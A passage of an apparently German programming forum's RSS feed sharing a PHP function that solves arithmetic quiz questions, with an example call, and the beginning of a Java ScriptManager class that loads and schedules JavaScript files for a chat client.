#0000BB">null</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$num2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$rest&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$calcMode&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$c&nbsp;</span><span style="color: #007700">=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$xLoc&nbsp;</span><span style="color: #007700">=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$equalLoc&nbsp;</span><span style="color: #007700">=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$result&nbsp;</span><span style="color: #007700">=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach(</span><span style="color: #0000BB">split</span><span style="color: #007700">(</span><span style="color: #DD0000">"&nbsp;"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$qCalc</span><span style="color: #007700">)&nbsp;as&nbsp;</span><span style="color: #0000BB">$part</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$c</span><span style="color: #007700">++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">is_numeric</span><span style="color: #007700">(</span><span style="color: #0000BB">$part</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!isset(</span><span style="color: #0000BB">$num1</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$num1&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$part</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;elseif(!isset(</span><span style="color: #0000BB">$num2</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$num2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$part</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;elseif(!isset(</span><span style="color: #0000BB">$rest</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$rest&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$part</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$part&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">"plus"</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$calcMode&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if(</span><span style="color: #0000BB">$part&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">"minus"</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$calcMode&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if(</span><span style="color: #0000BB">$part&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">"mal"</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$calcMode&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if(</span><span style="color: #0000BB">$part&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">"durch"</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$calcMode&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">4</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$part&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">"???"</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$xLoc&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$c</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$part&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">"="</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$equalLoc&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$c</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$equalLoc&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$xLoc&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$result&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">calcWithMode</span><span style="color: #007700">(</span><span style="color: #0000BB">$calcMode</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$num1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$num2</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$xLoc&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">2&nbsp;</span><span style="color: #007700">||&nbsp;</span><span style="color: #0000BB">$xLoc&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">4</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$calcMode&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">1&nbsp;</span><span style="color: #007700">||&nbsp;</span><span style="color: #0000BB">$calcMode&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$result&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">calcWithMode</span><span style="color: #007700">(</span><span style="color: #0000BB">$calcMode</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$num1</span><span style="color: #007700">,&nbsp;-</span><span style="color: #0000BB">$num2</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if(</span><span style="color: #0000BB">$calcMode&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$result&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">calcWithMode</span><span style="color: #007700">(</span><span style="color: #0000BB">4</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$num1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$num2</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if(</span><span style="color: #0000BB">$calcMode&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">4</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$result&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">calcWithMode</span><span style="color: #007700">(</span><span style="color: #0000BB">3</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$num1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$num2</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if(</span><span style="color: #0000BB">$equalLoc&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$xLoc&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$calcMode&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">1&nbsp;</span><span style="color: #007700">||&nbsp;</span><span style="color: #0000BB">$calcMode&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$result&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">calcWithMode</span><span style="color: #007700">(</span><span style="color: #0000BB">$calcMode</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$num2</span><span style="color: #007700">,&nbsp;-</span><span style="color: #0000BB">$num1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if(</span><span style="color: #0000BB">$calcMode&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$result&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">calcWithMode</span><span style="color: #007700">(</span><span style="color: #0000BB">4</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$num2</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$num1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if(</span><span style="color: #0000BB">$calcMode&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">4</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$result&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">calcWithMode</span><span style="color: #007700">(</span><span style="color: #0000BB">3</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$num2</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$num1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$xLoc&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$calcMode&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$result&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">calcWithMode</span><span style="color: #007700">(</span><span style="color: #0000BB">$calcMode</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$num2</span><span style="color: #007700">,&nbsp;-</span><span style="color: #0000BB">$num1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if(</span><span style="color: #0000BB">$calcMode&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$result&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">calcWithMode</span><span style="color: #007700">(</span><span style="color: #0000BB">$calcMode</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$num2</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$num1</span><span style="color: #007700">)&nbsp;/&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if(</span><span style="color: #0000BB">$calcMode&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$result&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">calcWithMode</span><span style="color: #007700">(</span><span style="color: #0000BB">4</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$num2</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$num1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if(</span><span style="color: #0000BB">$calcMode&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">4</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$result&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">calcWithMode</span><span style="color: #007700">(</span><span style="color: #0000BB">4</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$num1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$num2</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$xLoc&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">4</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$result&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">calcWithMode</span><span style="color: #007700">(</span><span style="color: #0000BB">$calcMode</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$num1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$num2</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(isset(</span><span style="color: #0000BB">$rest</span><span style="color: #007700">)&nbsp;&amp;&amp;&nbsp;</span><span style="color: #0000BB">$rest&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$xLoc&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$result&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">$num1&nbsp;</span><span style="color: #007700">*&nbsp;</span><span style="color: #0000BB">$num2</span><span style="color: #007700">)&nbsp;+&nbsp;</span><span style="color: #0000BB">$rest</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$xLoc&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">2&nbsp;</span><span style="color: #007700">||&nbsp;</span><span style="color: #0000BB">$xLoc&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">4</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$result&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">$num1&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">$rest</span><span style="color: #007700">)&nbsp;/&nbsp;</span><span style="color: #0000BB">$num2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">$result</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br />&nbsp;&nbsp;}<br /></span><span style="color: #0000BB">?&gt;</span>
</span>
</code></code><hr />
</div>Beispiel:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br />&nbsp;&nbsp;</span><span style="color: #007700">include(</span><span style="color: #DD0000">"quizcalc.php"</span><span style="color: #007700">);<br />&nbsp;&nbsp;</span><span style="color: #0000BB">header</span><span style="color: #007700">(</span><span style="color: #DD0000">'Content-type:&nbsp;text/plain;&nbsp;charset=utf-8'</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;if(isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'q'</span><span style="color: #007700">&#93;))<br />&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;print(</span><span style="color: #0000BB">quizCalc</span><span style="color: #007700">(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'q'</span><span style="color: #007700">&#93;));<br />&nbsp;&nbsp;}<br /></span><span style="color: #0000BB">?&gt;</span>
</span>
</code></code><hr />
</div>Aufruf mit &quot;Nennen Sie die gesuchte Zahl: 34 durch ??? = 3 Rest 1&quot;:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">http://127.0.0.1/quizcalc.php?q=Nennen%20Sie%20die%20gesuchte%20Zahl:%2034%20durch%20???%20=%203%20Rest%201</code><hr />
</div>-&gt; &quot;11&quot;<br />
<br />
<br />
Coded by me. Have fun.<br />
<br />
-aspire</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>aspire</dc:creator>
			<guid isPermaLink="true">sourcecode-91/php-quizcalc-quiz-rechenfragen-script-32205</guid>
		</item>
		<item>
			<title><![CDATA[[Java] Scripts]]></title>
			<link>sourcecode-91/java-scripts-31734?goto=newpost</link>
			<pubDate>Sun, 06 Mar 2011 22:09:34 GMT</pubDate>
			<description>Hier ist das Script-System aus meinem Clienten, da ich diesen nicht mehr updaten werde. Müsstet ihr dann - sofern ihr es nutzen wollt - ein wenig...</description>
			<content:encoded><![CDATA[<div>Hier ist das Script-System aus meinem Clienten, da ich diesen nicht mehr updaten werde. Müsstet ihr dann - sofern ihr es nutzen wollt - ein wenig anpassen. Momo plant es soweit ich weiß auch im kommenden KSClienten einzubauen.<br />
<br />
<b>ScriptManager.java</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">import java.io.FileInputStream;<br />
import java.io.InputStreamReader;<br />
import java.io.IOException;<br />
import java.util.HashMap;<br />
import java.util.Map;<br />
import java.util.Timer;<br />
import java.util.TimerTask;<br />
import javax.script.Invocable;<br />
import javax.script.ScriptEngine;<br />
<br />
/**<br />
&nbsp;*<br />
&nbsp;* @author Flav<br />
&nbsp;*/<br />
public class ScriptManager {<br />
&nbsp; &nbsp; private ScriptEngine engine;<br />
&nbsp; &nbsp; private static Map&lt;String, Object&gt; properties;<br />
<br />
&nbsp; &nbsp; static {<br />
&nbsp; &nbsp; &nbsp; &nbsp; properties = new HashMap&lt;String, Object&gt;();<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public ScriptManager(ScriptEngine engine) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.engine = engine;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public ScriptEngine getEngine() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return engine;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void load(String file) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; InputStreamReader reader = null;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; try {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; reader = new InputStreamReader(new FileInputStream(&quot;scripts/&quot; + file + &quot;.js&quot;), &quot;UTF-8&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; engine.eval(reader);<br />
&nbsp; &nbsp; &nbsp; &nbsp; } catch (Exception e) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();<br />
&nbsp; &nbsp; &nbsp; &nbsp; } finally {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (reader != null) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; reader.close();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } catch (IOException e) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public Timer schedule(String name, long delay) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return schedule(name, null, delay);<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public Timer schedule(final String name, final Object[] args, long delay) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; Timer timer = new Timer();<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; timer.schedule(new TimerTask() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; public void run() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Invocable invocable = ((Invocable) engine);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (args == null) {<br />
